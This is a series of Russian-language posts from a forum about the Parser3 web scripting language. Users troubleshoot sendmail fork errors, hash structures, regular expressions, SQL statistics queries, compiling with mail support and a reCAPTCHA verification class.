Для проверки обязательных параметров отлично подходят [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/tests/pfAssert.p]«утвержедния»[/url] (asserts):\
[code]\
@method[aID;aOptions]\
  ^pfAssert:isTrue(def $aID)[Не указан ID.]\
[/code]\
\
А *args нужны для реализации методов типа file::exec, где хочется иметь в конце неопределенное количество [b]однородных[/b] параметров."
"74617","Теперь потребовался доп. функционал и чтобы не лопатить все вызовы, которые где-то были, проще было сделать через *args.\
Про хеши спасибо, используем."
"74618","... ведь Парсер требует только, чтобы при вызове их было не больше, чем описано, но можно вызвать и вообще без аргументов."
"74620","Недавно у нас vlalek@ делал файл кодировок для cp866, выложил его в CVS. Его правда надо немного доработать, чтобы дырок не было, но\
для ваших целей думаю и этого будет вполне достаточно."
"74621","Кстати вот эта заглохшая тема не планируется к реализации, Паф вроде даже одобрил идеологически :)\
\
http://www.parser.ru/forum/?id=51720"
"74623","при отправке сообщений в логе\
[Wed Mar 2 12:44:46 2011] [32149] /add_out/admin.html?act=send&id=35: /home/..../add_out/admin.html(43:15): '/usr/sbin/sendmail' fork error: Resource temporarily unavailable (11) [file.execute] [uri=/add_out/admin.html?act=send&id=35, method=GET, cl=0]\
\
Причем иногда 1 раз из 20-30 сообщения уходят\
\
Хостер долго разбирался и вот что написал - Далее я захожу под пользователем ttt по ssh и запускаю:\
./cgi-bin/parser3.cgi test/index.html - все корректно отрабатывает\
лог exima:\
2011-03-03 23:54:34 1PvGTi-00026W-Ko <= info@ttt.by U=ttt P=local S=463\
2011-03-03 23:54:39 1PvGTi-00026W-Ko => ilia.zenkevich@active.by R=nonlocal_router T=remote_smtp H=mx2.rrr.net [109.237.213.144] X=TLSv1:AES256-SHA:256\
2011-03-03 23:54:39 1PvGTi-00026W-Ko Completed\
\
Сразу же после этого:\
$ GET http://www.ttt.by/test/index.html\
/usr/sbin/sendmail\
fork error: Resource temporarily unavailable (11)\
/home/ttt/www/ttt.by/test/index.html(1:7)\
send	/home/ttt/www/ttt.by/test/index.html(1:7)\
Т.е. результат зависит от пользователя от которого запускается parser.\
Мы продолжим разбираться с проблемой.\
Пожалуйста, ожидайте ответа.\
\
[b]Потом еще день думал и написал:[/b]\
Мы считаем что проблема в самом парсере, т.к. со своей стороны никаких проблем обнаружено не было.\
Ситуацию усложняет то, что мы не знаем каким образом функционирует парсер.\
Естественно, что нет никаких оснований просто доверять приложению.\
Единственное вариант: вы предоставляете нам часть исходного кода, где описана функция отправки сообщений, тогда мы сможем продолжить диагностику.\
\
У меня иссякли аргументы, что подскажете? \
P.S. смена хостера пока не рассматривается"
"74624","Форму перерыл, все уже опробовано, версия парсер 3.4.1"
"74625","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/mail.C?rev=1.116&content-type=text/vnd.viewcvs-markup"
"74626","[url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/etc/parser3.charsets/cp866.cfg?rev=HEAD&content-type=text/vnd.viewcvs-markup\"]ссылка[/url]"
"74627","Такая проблема возникает во FreeBSD, когда в Apache задан RLimitNProc (ограничивает число процессов пользователя),и этот лимит превышен (например ssh/ftp соедиения, или сам лимит очень маленький). Так вот сам парсер запускается, поскольку его запускает suexec, который работает от root и на него этот лимит не распространяется, а вот парсер уже ничего запустить не может."
"74629","Здравствуйте.\
Мы считаем что проблема в самом парсере, т.к. со своей стороны никаких проблем обнаружено не было.\
Ситуацию усложняет то, что мы не знаем каким образом функционирует парсер.\
Естественно, что нет никаких оснований просто доверять приложению.\
Единственное вариант: вы предоставляете нам часть исходного кода, где описана функция отправки сообщений, тогда мы сможем продолжить диагностику.\
Мы устанавливаем только стабильные модули, прошедшие тестирование.\
По поводу поддержки Artlebedev Parser - это значит, что параметры хостинга соотвествуют требованиям предъявляемым парсером.\
Мы гарантируем работоспособность предоставляемой площадки, но мы не отвечаем за клиентское ПО.\
В данном же случае, мы считаем что проблема именно в Парсере, а не в хостинге, поэтому её решением должен заниматься разработчик либо предоставить нам более точные требования, необходимые для работы парсера, и мы рассмотрим возможность внесения изменений в конфигурацию сервера"
"74632","Странный хостер. Проблема понятно что не в парсере.\
Чтобы показать это, можно сделать простейший cgi-скрипт на .sh\
или perl (смотря что вы знаете). Что-то вроде:\
\
echo \"Content-type: text/plain\"\
echo\
echo \"Starting sendmail\"\
cat mail.txt | /usr/sbin/sendmail 2>&1\
\
Где mail.txt\
From: <your email>\
To: <your email>\
Subject: test\
\
test message.\
\
Скорее всего будет ровно та же проблема\
(note: код примерный, не проверял)."
"74633","Хотя мне казалось, что в Linux они таки иначе работают."
"74636","Ребята, очень прошу помочь. Я пытаюсь установить parser вслед за Denwer'ом на локальный сервер, но у меня ровным счетом ничего не получается. Устанавливаю CGI на Apache 2, весь набор (вместе с парсером) скачал с оф. сайта денвера, делаю все по инструкциям, вношу все необходимые записи в .htaccess и в httpd.conf, но система все равно не понимает парсер, тест проваливается.\
\
Прошу простить, если вопрос глупый, я лишь пытаюсь выучить веб-програмирование.\
\
Буду очень благодарен за ответ."
"74637","А где вы взяли parser x64 под Win?\
Здесь http://www.parser.ru/download/ я нашел только под 32бит\
Ps кстати там же есть Denver в комплекте с Parser 3.4.0"
"74638","А вот мне оба описанных варианта не помогли.\
Проблема описана здесь http://www.parser.ru/forum/?id=72143\
И до сих пор решить не могу.\
Причем на разных Win по разному работает.\
Дома под Win XP не могу открыть, а на работе под все той же Win Xp все работает.\
Куда девается эта кнопка \"разблокировать\"?"
"74639","Странно, текст страницы выдается в windows-1251, а русские ссылки в KOI8"
"74644","Никто не понимает такой фразы. В этот момент, открытия справки, что-то происходит? Как это выглядит? вы приложили несколько скриншотов, но скрин самой ошибки - нет.\
\
MSIE 6 давно пора на свалку, даже майкрософт уже сами к этому призывают."
"74646","А товарищ до сих пор мучается :)\
http://www.parser.ru/forum/?id=74638"
"74647","Здраствуйте уважаемые гуру и монстры парсера. Объясните пожалуйста несколько моментов с хешами кому не сложно... Раньше с ними как-то не работал, хватало таблиц, но сегодня решил разного рода данные хранящиеся в куки пихать не в таблицу, а в хеш. Прочитал документацию и честно говоря вошел в ступор, как то не укладывается у меня все в голове, поправьте если не прав...\
Если с обычным хешем все понятно, так как фактически это таблица из двух столбцов и обращение к любой записи происходит по принципу ^table.locate[столбец всегда тот который содержит ключи;ключ] причем выдаем значение не этого столбца, а соседнего. Но вот я наткнулся на такую конструкцию:\
[code]\
$hash_of_hash[ \
   $.cat[ \
      $.food[milk] \
      $.aggressive[very] \
   ] \
   $.dog[ \
      $.food[bone] \
      $.aggressive[never] \
   ]\
] \
[/code]\
То есть если я правильно понял что это фактически таблицы в таблице? Как тогда работает foreach?\
И может ли существовать такая конструкция:\
[code]\
$hash_of_hash[ \
   $.cat[ \
      $.food[milk] \
      $.aggressive[very] \
   ] \
   $.dog[ \
      $.food[bone] \
      $.aggressive[never] \
   ]\
   $.name[Вася] \
   $.age[22] \
   $.sex[m] \
] \
[/code]\
Если да, то как тут будет работать foreach?\
Просьба не кидать помидорами если спросил элементарную вещь, но лучше спросить чем чувствовать себя идиотом...\
Заранее спасибо за ответ."
"74648","И хеш - это НЕ таблица из двух столбцов. Основное отличие состоит в том, что значение элемента хеша может быть любым парсеровским объектом (в том числе и другим хешем, что в примере и показано), а таблица может содержать исключительно строки."
"74649","Обязательно попробую, сейчас пока пытаюсь осознать сам принцип...\
Т.е. значением может быть и картинка и таблица и строка и любой пользовательский метод? Я правильно понял? Честно говоря пока вопросов больше чем ответов в хелпе...\
Заранее спасибо за ответ."
"74650","Конструкция \
[code]\
^if(def $cookie:domen-name){code} \
[/code]\
дает ошибку:\
[b]\
name\
invalid number (double)\
[/b]\
Я так понимаю что использовать - в имени куки нельзя?\
Заранее спасибо за ответ."
"74652","да, в документации сказано, что символ '-' (минус) в выражениях (то, что в круглых скобках) используется не как часть имени переменной, а как минус."
"74655","Поэкспериментировал, конструкция\
[code]\
$hash_of_hash[ \
   $.cat[ \
      $.food[milk] \
      $.aggressive[very] \
   ] \
   $.dog[ \
      $.food[bone] \
      $.aggressive[never] \
   ]\
   $.name[Вася] \
   $.age[22] \
   $.sex[m] \
] \
[/code]\
работает, можно обращаться по ключам. Также сделал foreach и возник вопрос как получить данные из такой конструкции:\
[code]\
$hash_of_hash[ \
   $.name_1[ \
      $.aid_1[1] \
      $.bid_1[1] \
   ] \
   $.name_2[ \
      $.aid_2[2] \
      $.bid_2[2] \
   ]\
] \
[/code]\
name_1, name_2 неизвестны к ним надо как-то обратиться foreach естественно дает ошибку :( \
Более того name_1 и name_2 необходимо использовать как значение переменной... Можно еще как то выкрутиться создав два хеша. В первом имена вложенных хешей второго, его перебирать и от него и адресоваться.\
[code]\
$hash_of_hash[ \
   $.name_1[ \
      $.aid_1[1] \
      $.bid_1[1] \
   ] \
   $.name_2[ \
      $.aid_2[2] \
      $.bid_2[2] \
   ]\
   $.name_3[3] \
] \
[/code]\
А если появится еще и name_3 который не хеш в хеше, а просто элемент хеша, причем и его ключ и значение используются в переменных, вообще не представляю что делать.\
Хотя может имеет смысл в таком случае использовать таблицу?"
"74656","[quote]foreach естественно дает ошибку[/quote]\
для foreach вовсе не естественно давать ошибку.\
ошибку может давать код, который согласно написанному, должен делать что-то странное (например \"печатать\" в output хэш).\
вы попробуйте в foreach выводить просто ключи.\
\
кроме того, когда речь идёт про ошибки, тут принято приводить код, который к этим ошибкам привёл. без кода обсуждать совершенно нечего.\
\
[quote]name_1, name_2 неизвестны к ним надо как-то обратиться[/quote]\
вообще-то основное назначение хэшей -- быстро получить значение по ключу (это делается гораздо быстрее, чем через locate у таблицы).\
т.е. так:\
[code]$хэш.ключ1.ключ2.ключ3[/code]\
значение ключа может быть в переменной:\
[code]$хэш.ключ1.[$переменная_с_именем_ключа2].ключ3[/code]\
\
в вашем случае, вы похоже пытаетесь в лоб заменить таблицу на хэш, но я не понимаю, зачем вам это потребовалось. если таблицы вас устраивают, то хэши для решения _тех-же_ задач использовать незачем."
"74657","Вот тут можно взять:\
[url=\"http://vbilling.ru/puny.rar\"]puny.rar[/url]"
"74658","Как с помощью парсера переконвертить текстовый файл с кодировкой ANSI в UTF8?"
"74659","есть текст\
[code]\
[url=\"http://img.sky/view_image/e7f9a849/281439.gif\"][img]http://img.sky/view_full/e7f9a849/281439.gif[/img][/url][url=\"http://img.sky/view_image/036f8859/0980970.gif\"][img]http://img.sky/view_full/036f8859/0980970.gif[/img][/url]\
[/code]\
и выражение\
[code]\\[img\\]((http|ftp)://(.+\\.sky|10.10.\\d{1,3}.\\d{1,3})/.+)\\[/img\\][/code]\
если текст разделен переходом на новую строку то получаю два значения если эта одна строка, то получаю содержимое от первого [img] до закрытия последнего."
"74660","у парсера нет методов для конвертирования из одной произвольной кодировки в другую.\
\
с помощью хаков можно, но про это я рассказывать не буду, т.к. это \"не в духе парсера\" :)\
\
если вам надо загрузить файл, который к кодировке, отличной от того, что указано в $request:charset -- то опция $.charset и конструктора load вам в помощь."
"74662","Ключи не знаю, я правлю движок IPB.\
Прям осенило после того как запостил про жадность.\
рабочее\
[code]\\[img\\]((http|ftp)://(.+?\\.sky|10.10.\\d{1,3}.\\d{1,3})/.+?)\\[/img\\][/code]"
"74664","ну если там используется PCRE, то http://pcre.org/pcre.txt:\
[quote]\
.      match any character except newline (by default)\
[/quote]\
\
а вот какие опции внутри используются я не знаю. но похоже, что /s или аналог, поэтому имеется разница.\
\
вообще с помощью '?' решать проблему -- очень оптимистично. надо более строго писать выражение, чтобы запретить внутри [img/] квадратные скобки (== вложенные bbcode-ы)."
"74665","[quote]Ключи не знаю, я правлю движок IPB.[/quote]\
\
Караул.\
Как скоро ждать в форум Парсера вопросов по правильному перебору карбюратора Оки?.."
"74666","Сорри виноват, конечно тут нет экстрасенсов...\
И так задача:\
Есть корзина интернет магазина с разноплановым товаром, причем у товара кроме одинаковых полей типа id-модели, id-цвета, цены, количества, есть еще такие поля как например цвет, который может быть, а может и отсутствовать,  или например количество у какого-то товара может быть в единицах, а может быть и например в квадратных метрах причем количество дробное, или как еще вариант комплект чего-то котрый состоит из нескольких единиц и т.д и т.п.\
Как использовать в данной ситуации таблицу я пока не придумал.\
А вот \"разнородный\" хеш вида:\
[code]\
$hash_of_hash[ \
   $.name_1[ \
      $.aid_1[1] \
      $.bid_1[1] \
   ] \
   $.name_2[ \
      $.aid_2[2] \
      $.bid_2[2] \
      $.сid_2[2]\
   ]\
   $.name_3[ \
      $.aid_3[1]  \
      $.сid_3[2]\
   ]\
   $.name_3[3] \
] \
[/code]\
Для этой задачи помоему наиболее подходящий вариант, так как таблица преполагает однородность данных. Возможно я конечно не прав, был бы крайне признателен за совет, может уже кто-то реализовывал такие задачи и есть более оптимальный путь, а я в силу неопытности опять все делаю далеко не самым простым способом.\
Да, спасибо за совет выводить просто ключи, так работает..."
"74668","Хотя тут вопрос просто по регулярным выражениям, лично до меня только теперь доперло \"жадность\" и \"ленивость\""
"74669","+ написать себе метод разбора. Чтоб рекурсивно проходило по полям и выводило их.\
вот можете посмотреть\
[url=\"http://www.parser.ru/forum/?id=55520\"]класс[/url]"
"74670","ваша задача всё равно не является той задачей, для которой действительно требуется применение хэша. попробую проиллюстрировать его использование на задаче вывода сообщения с тэгами.\
\
сообщения, выводимые на страницы, находятся в таблице $tMessage (id, content) (это может быть и хэш, но мне, ввиду однородности данных, больше нравится таблица). теги -- в таблице $tTag (id, name).\
\
а в таблице $tMessageToTag хранятся связи (message_id, tag_id). можно сразу доставать эти связи в виде хэша, но в этой демонстрации я буду использовать эти данные разными способами, поэтому для удобства демонстрации они в таблице.\
\
для начала на основании таблицы $tMessageToTag формируем такой хэш:\
[code]\
$hMessageToTag[\
	$.1[\
		$.5(1)\
		$.10(1)\
		$.15(1)\
	]\
	$.2[\
		$.5(1)\
		$.6(1)\
	]\
	...\
]\
[/code]\
тут ключ первого уровня -- message_id, ключ второго -- tag_id. значение -- просто чтоб было (можно с пустыми значениями, но тогда проверка ниже будет немного другой).\
\
далее так:\
[code]\
^tMessage.menu{\
	<p>$tMessage.content</p>\
	^tTag.menu{^if($hMessageToTag.[$tMessage.id].[$tTag.id]){<span>$tTag.name</span>}}[, ]\
}\
[/code]\
\
кстати подобную структуру в хэше бывает очень неудобно получать на основе данных, которые достаются из БД, поэтому иногда структуру хеша делают иной (с составным ключом):\
[code]\
$hMessageToTag[\
	$.1=5(1)\
	$.1=10(1)\
	$.1=15(1)\
	$.2=5(1)\
	$.2=6(1)\
	...\
]\
[/code]\
тут первая часть ключа (до разделителя, который я выбрал в виде символа '=') -- message_id, вторая часть -- tag_id.\
подобный \"плоский\" хэш может быть получен из таблицы, полученной из БД с помощью единственной команды (будет получен хэш в котором более сложные значения, но на работоспособность подхода это не влияет):\
[code]\
$hMessageToTag[^tMessageToTag.hash{$tMessageToTag.message_id=$tMessageToTag.tag_id}]\
[/code]\
\
код проверки наличия у сообщения определённого тэга меняется на следующий:\
[code]\
^if($hMessageToTag.[$tMessage.id=$tTag.id]){...}\
[/code]\
\
\
но приведённый выше подход в общем случае плох. проблема в том, что у нас есть вложенный цикл с проверкой. если тэгов существенно больше, чем привязок, то внутренний цикл будет крутиться вхолостую, поэтому для устранения повторяющегося внутреннего холостого цикла лучше сделать [B]хэш таблиц[/B] с ключами message_id, а структуру с тэгами перевести в хэш (или сразу доставать из БД как хэш):\
\
[code]\
$hMessageTags[^tMessageToTag.hash[message_id][$.type[table] $.distinct(true)]]\
$hTag[^tTag.hash[tag_id]]\
\
^tMessage.menu{\
	<p>$tMessage.content</p>\
	^if($hMessageTags.[$tMessage.id]){\
		^hMessageTags.[$tMessage.id].menu{\
			<span>$hTag.[$hMessageTags.[$tMessage.id].tag_id].name</span>\
		}[, ]\
	}\
}\
[/code]\
\
в $hMessageTags будет следующая структура (ключами являются message_id, а значениями -- таблицы):\
[code]\
$hMessageTags[\
	$.1[^table::create{message_id	tag_id\
1	5\
1	10\
1	15}]\
\
	$.2[^table::create{message_id	tag_id\
2	5\
2	6}]\
]\
[/code]\
\
P.S. приводимый код я не проверял и в нём возможны синтаксические или иные ошибки."
"74672","при помощи хеша хотел упростить проверку на наличие товара уже в корзине при попытке добавить второй раз одно и то же, и упростить процедуру удаления из корзины, т.е. банально хотел уйти от ^table.locate . Да и чего уж там греха таить хотел попробовать поработать с хешами т.к. раньше их не трогал... Но сейчас вижу что это была не самая лучшая идея, для этой задачи возможно лучше подходит таблица пусть с избыточным количеством полей..."
"74673","Мне показалось, что корзину удобнее хранить на сервере (две простенькие таблички для самих корзин и товаров в них), а в куках только идентификатор. В [url=http://shop.artrodnik.ru/]моем случае[/url] это позволяет безболезненно снимать товары с продажи (просто перемещаем их в \"отложенные\"), хранить дополнительную статистику и стоимость корзины (чтобы не возиться с этим при каждом запросе) и т.д. и т.п. Опять же корзина может быть неплохим идентификатором клиента, поскольку мы специально сделали работу с заказами без регистрации. Опять же нет проблемы с ограничением на размер кук."
"74676","При 1000 посетителей в день, добавивших в корзину по одному товару, через месяц 30 тысяч записей... По какому принципу вы их удаляете если клиент не удалил их сам? Можно конечно удалять записи кроном через какое-то время, но я планирую там хранить и некоторые настройки, например региональные... Хотя возможно имеет смысл принять стратегическое решение что если клиент ничего не сделал за месяц то это потерянный клиент и хранить его данные не стоит..."
"74677","Современные базы данных могут хранить в таблицах десятки и сотни миллионов записей совершенно без проблем. Кроме того, никто нам не мешает использовать технологии шардинга и денормализации данных, но до этого, даже при тысячах посетителей в день, дойдет не скоро."
"74678","Я понимаю что хранить можно, но зачем хранить в базе мусор, рано или поздно это приведет не к очень хорошей ситуации... Я помню как года три назад в базе данных паспортно-визовой службы краснодарского края закончился диапазон чисел для автоинкремента, была большая проблема... Кстатит а что такое технология шардинга и денормализация данных? И еще, поделитесь пожалуйста опытом по какому принципу реализован поиск по Вашему сайту. \
Заранее спасибо за ответ."
"74679","Он нисколько не уменьшится, если удалить записи. Если вдруг не будет хватать 4 млрд. значений int unsigned, то всегда можно использовать bigint unsigned в качестве ключа - это очень много для любого магазина (64 bit, max = 18446744073709551615). :) Если и этого не хватит, то можно перейти на uuid (128 бит).\
\
Поиск я реализовал через [url=http://sphinxsearch.com]Sphinxsearch[/url], из Парсера обращаюсь к нему через [url=http://sphinxsearch.com/docs/1.10/sphinxql-reference.html]SphinxQL[/url].\
\
[quote]...что такое технология шардинга и денормализация данных?[/quote]\
\
Думаю про это лучше спросить у Яндекса - тема очень обширная. :)"
"74680","Я понимаю про автоинкремент, я просто привел пример...\
Понял спасибо..."
"74682","[code]\
@getStatHash[week][w]\
	^if($week){\
		$result[^hash::create[]]\
		^week.menu{\
			$w($week.n)\
			$result.$w[^oSql.hash{\
				SELECT\
					app_id\
					,COUNT(*) AS cnt\
				FROM\
					weekly\
				WHERE\
					dt > '$week.from'\
				AND\
					dt < '$week.to'\
				GROUP BY\
					app_id\
			}]\
			$result.$w.total(^oSql.int{\
				SELECT\
					COUNT(*)\
				FROM\
					weekly\
				WHERE\
					dt > '$week.from'\
				AND\
					dt < '$week.to'\
			})\
			$result.total($result.total+$result.$w.total)\
		}\
	}{\
		^throw[bad.param;getStatHash;Wrong param]\
	}\
\
[/code]"
"74683","[code]@getStatHash[week][w]\
	^if($week){\
		$result[^hash::create[]]\
		^week.menu{\
			$w($week.n)\
			$result.$w[^oSql.hash{\
				SELECT\
					app_id\
					,COUNT(*) AS cnt\
				FROM\
					weekly\
				WHERE\
					dt > '$week.from'\
				AND\
					dt < '$week.to'\
				GROUP BY\
					app_id\
			}]\
			$result.$w.total(0)\
			^result.$w.foreach[k;v]{^result.$w.total.inc($v.cnt)}\
			^result.total.inc($result.$w.total)\
		}\
	}{\
		^throw[bad.param;getStatHash;Wrong param]\
	}[/code]\
\
Про первое меню ничего не могу сказать, надо знать другие вводные."
"74684","вот так чуть ранее получается таблица недель\
[code]\
@getWeekTable[][tDays,week,day,from,to,n]\
	$result[^table::create{n	from	to}]\
	$tDays[^oSql.table{\
#mysql specific request?\
		SELECT\
			DATE_FORMAT(dt,'%Y-%m-%d') as date\
		FROM\
			weekly\
		GROUP BY\
			date\
		ORDER BY\
			date\
	}]\
	^if($tDays){\
		^tDays.menu{\
			$day[^date::create[$tDays.date]]\
			$week[^date:calendar[rus]($day.year;$day.month;$day.day)]\
			$to[${week.year}-${week.month}-${week.day}]\
			^if(!^from.length[]){ $from[$to] }\
			^if($to gt $from){\
				$n($n+1)\
				^result.append[$n	$from	$to]\
				$from[$to]\
			}\
		}\
		^week.offset(-1)\
		^result.append[^eval($n+1)	$from	${week.year}-${week.month}-${week.day} 23:59:59]\
		^result.sort($result.n)[desc]\
	}\
\
[/code]\
\
в такой таблице лежат данные\
[code]\
-- phpMyAdmin SQL Dump\
-- version 2.11.11.3\
-- http://www.phpmyadmin.net\
--\
-- Хост: localhost\
-- Время создания: Мар 14 2011 г., 07:15\
-- Версия сервера: 4.1.25\
-- Версия PHP: 4.4.9\
\
SET SQL_MODE=\"NO_AUTO_VALUE_ON_ZERO\";\
\
--\
-- База данных: `m9a`\
--\
\
-- --------------------------------------------------------\
\
--\
-- Структура таблицы `weekly`\
--\
\
CREATE TABLE IF NOT EXISTS `weekly` (\
  `id` int(8) NOT NULL auto_increment,\
  `dt` datetime NOT NULL default '0000-00-00 00:00:00' COMMENT 'when launch detected',\
  `computer` varchar(127) NOT NULL default '' COMMENT 'where launched',\
  `app_id` int(4) NOT NULL default '0' COMMENT 'application id from app table',\
  PRIMARY KEY  (`id`),\
  KEY `idx2` (`app_id`,`dt`),\
  KEY `dt` (`dt`)\
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COMMENT='data for weekly report' AUTO_INCREMENT=38308 ;\
[/code]"
"74685","не очень понятно зачем такая сложная таблица недель? что если в табличку записать скажем номера недель?\
\
тогда запрос станет:\
[code]	$result.$w[^oSql.hash{\
	SELECT\
		app_id\
		,COUNT(*) AS cnt\
	FROM\
		weekly\
	WHERE\
		WEEK(dt) IN (^week.menu{$week.number}[,])\
	GROUP BY\
		app_id\
}][/code]\
\
и тогда .menu уже не нужно"
"74686","В логи пишется следующее:\
[quote]\
[Mon Mar 14 10:39:55 2011] [error] [Mon Mar 14 10:39:55 2011] [3838] \
[Mon Mar 14 10:39:55 2011] [error] Parser/3.4.0 (compiled on x86_64-unknown-linux-gnu)\
[Mon Mar 14 10:39:55 2011] [error] [no request info]\
[Mon Mar 14 10:39:55 2011] [error]  \
[Mon Mar 14 10:39:55 2011] [error] Premature end of script headers: parser3.cgi\
[/quote]\
\
Подскажите куда копать? Форум весь перерыл, ничего толком не нашел."
"74687","Сервер: Debian 5.0 (x86_64)\
версия Парсера: parser3_4_0_debian5x64_cgi_xml"
"74689","Вы знаете, я пару дней подумал и наверно воспользуюсь все-таки Вашим методом, т.е. буду хранить у пользователя только ключ... Если Вы не против я буду задавать вопросы в случае их возникновения..."
"74691","В поле таблицы есть такое значение:\
[code]293(185)[/code]\
надо было цифры разделить на два поля и избавиться от скобок:\
[code]^sMatch.match[(\\d\\d\\d)(\\(\\d\\d\\d\\))][g]{$match.1	$match.2}[/code]\
но в итоге получилось только разделение цифр таким образом:\
[code]293	(185)[/code]\
мало того бывает, что второй цифры в некоторых полях нет и выглядит это так:\
[code]293()[/code]\
запутался в регулярных выражениях и не знаю как сделать обработку. Хотелось бы чтобы было в итоге [code]число	число_или_пустота[/code]"
"74692","Как же работать с прошлогодними записями? И с будущими, если проект доживёт до годовщины :)"
"74697","год привязать не сложно, мне идеологически непонятно зачем брать точное совпадение даты из базы и расширять его до недельных отрезков? Опишите задачу словами, возможно так будет проще.\
Например: получить все записи из таблицы дата которых совпадает с диапазонами дат другой таблицы..."
"74698","существует под сотню разных событий\
события регистрируются в логе\
нужно вывести понедельную статистику сколько раз происходило событие"
"74700","Здравствуйте\
\
попробовал поставить recaptcha\
[code]\
$public_key[6Ld...]\
$private_key[7Ld...]\
$challenge[$form:recaptcha_challenge_field]\
$response[$form:recaptcha_response_field]\
$remoteip[$env:REMOTE_ADDR]\
\
$POSTbody[privatekey=${private_key}&remoteip=${remoteip}&challenge=${challenge}&response=${response}]\
\
$query[^file::load[text;http://www.google.com/recaptcha/api/verify;\
    $.method[POST]\
    $.timeout(15)\
    $.headers[\
        $.User-agent[reCAPTCHA/PHP]\
        $.Content-type[application/x-www-form-urlencoded]]\
    $.body[$POSTbody]\
]]\
$query.text\
[/code]\
\
но не получается оперировать с [code]$query.text[/code], его могу только вывести, а оперировать - в [code]^if[/code] никак...\
\
обработчик формы - [code]<form method=\"post\" action=\"\">[/code]\
\
основные варианты ответа: \
\
один из отрицательных вариатов ответа -\
[code]\"false incorrect-captcha-sol\"[/code]\
положительный\
[code]\"true success\"[/code]"
"74704","Добрый день!\
\
Понадобилась приемка почты - решил скомпилить, да не выходит...\
Делаю всё по доке - залогинился, скачал parser, скачал sql. Ветка 3.4.1. FreeBSD 8.0\
\
Всё компилится-ставится (и даже все наработки ранее что работают с бинарём новым) - а ругня на invalid option 'm' не уходит и почты нет!\
\
Как делал:\
1. Изменил build-with-xml - дописал опцию --with-mailreceive в параметры - не-а!\
2. make clean & rm Makefile & ./build-with-xml - не-а!\
\
\
Что не так? \
Подскажите!"
"74705","Нужно собирать с библиотеками gmime/iconv примерно от 2003 года, собирал с версией libgmime.so.1.0.6, последний раз версию парсера 3.4.0. Поэтому если системные библиотеки более новые, надо статически прописывать путь к старой версии при линковке, кажется через RPath.\
\
>ldd parser3.cgi\
[quote] \
        linux-gate.so.1 =>  (0xb7751000)\
        ...\
        libgmime.so.1 => /home/www/default/parser3/gnome//lib/libgmime.so.1 (0xb770f000)\
        libiconv.so => /home/www/default/parser3/gnome/lib/libiconv.so (0xb7529000)\
[/quote]\
\
Сопутствующие скрипты:\
\
.forward\
[quote]|/home/www/site/receive_mail.sh[/quote]\
\
receive_mail.sh\
[quote]#!/bin/sh\
cd /home/www/site/www; ../cgi/parser3.cgi -m ../exec/receive_mail.p\
[/quote]\
\
receive_mail.p\
[code]$m[$mail:received]\
$line[from: $m.from subject: $m.subject]\
^line.save[mail.log]\
[/code]"
"74706","О-о!...\
Погляжу. Беглый поиск правда показывает наличие глюков при сборке с iconv, правда в другом разрезе..."
"74707","Спасибо, вроде получилось :)"
"74709","Парсеру, что предлагается скачать для винды тут (CGI или CGI с XML) - http://www.parser.ru/download/win32/, для работы не хватает нескольких библиотек - iconv.dll, zlib1.dll, libxslt.dll (для cgi-xml) и libexslt.dll (для cgi-xml). В принципе их несложно найти, первые две, например, быстро нашлись в установке ultraedit-а, вторые две есть в отдельном архиве там же, но это не очень удобно, а с первыми двумя еще и неясно какой они должны быть версии.\
\
Может включите эти библиотеки в архив с cgi-шником, там же лежат msvcp71, gc и msvcr71?"
"74710","По виду проще C библиотеку готовую подцепить,\
чем переводить это на парсер. :)"
"74711","У меня меню с использованием jquery и проявляется странный эффект. Когда, например, открываешшь закладку, то все остальные перехлопываются. Проявляется это только в эксплорере; он у меня 8-ой.\
Интересно узнать от чего это. И, возможно, кто-н знает будет ли тот же эффект при работе с Prototype в Эксплорере, так как именно на него расчитана вся разработка сайта."
"74712","там рядом есть ссылочка на \"библиотеки поддержки xml\"\
а вот iconv и zlib не нужны (точнее вы можете найти такие libxml, libxslt и libexslt, для которых они нужны, но мы собираем без этих зависимостей).\
\
хотя вы правы, я забыл обновить эти библиотеки, но уже исправился :)\
до кучи обновил файл с кодировками: там было некоторое количество правок в существующих файлах + добавлены новые (включая спрашиваемую некоторое время назад cp866)"
"74713","[code]@CLASS\
ReCAPTCHA\
\
\
@auto[]\
$self.hDefaultOptions[\
	$.theme['clean']\
	$.lang['ru']\
]\
\
$self.sChallengeURL[http://api.recaptcha.net/challenge]\
$self.sNoscriptChallengeURL[http://api.recaptcha.net/noscript]\
$self.sAJAXURL[http://api.recaptcha.net/js/recaptcha_ajax.js]\
$self.sVerifyURL[http://api-verify.recaptcha.net/verify]\
\
\
@create[hOptions]\
^self.hDefaultOptions.add[^hash::create[$hOptions]]\
\
\
@printHTML[sPublicKey;hOptions;sErrorCode][sError]\
$sError[]\
\
^if(def $sErrorCode){\
	$sError[&error=$sErrorCode]\
}\
\
$result[<script type=\"text/javascript\">\
	var RecaptchaOptions = ^self._printOptions[$hOptions]\
</script>\
<script type=\"text/javascript\" src=\"${self.sChallengeURL}?k=${sPublicKey}$sError\"></script>\
<noscript>\
	<iframe src=\"${self.sNoscriptChallengeURL}?k=${sPublicKey}$sError\" height=\"300\" width=\"500\" frameborder=\"0\"></iframe><br/>\
	<textarea name=\"recaptcha_challenge_field\" rows=\"3\" cols=\"40\"></textarea>\
	<input type=\"hidden\" name=\"recaptcha_response_field\" value=\"manual_challenge\"/>\
</noscript>]\
\
\
@printAJAX[sPublicKey;hOptions;sErrorCode][hDefaultOptions;sField;sValue]\
$result[<div id=\"recaptcha_container\"></div>\
<script type=\"text/javascript\" src=\"$self.sAJAXURL\"></script>\
<script type=\"text/javascript\">\
	Recaptcha.create(\"$sPublicKey\", \"recaptcha_container\", ^self._printOptions[$hOptions])^;\
</script>]\
\
\
@verify[sPrivateKey;hData][fResult;tResult]\
$result[^hash::create[]]\
\
$fResult[^file::load[text;$self.sVerifyURL][\
	$.method[POST]\
	$.form[\
		$.privatekey[$sPrivateKey]\
		$.remoteip[$env:REMOTE_ADDR]\
		$.challenge[$hData.recaptcha_challenge_field]\
		$.response[$hData.recaptcha_response_field]\
	]\
	$.headers[\
		$.[USER-AGENT][reCAPTCHA Parser3]\
	]\
	$.timeout(10)\
]]\
\
$tResult[^table::create[nameless]{^taint[as-is][$fResult.text]}]\
\
$result.valid(^tResult.0.bool(false))\
^tResult.offset(1)\
$result.errorcode[$tResult.0]\
\
\
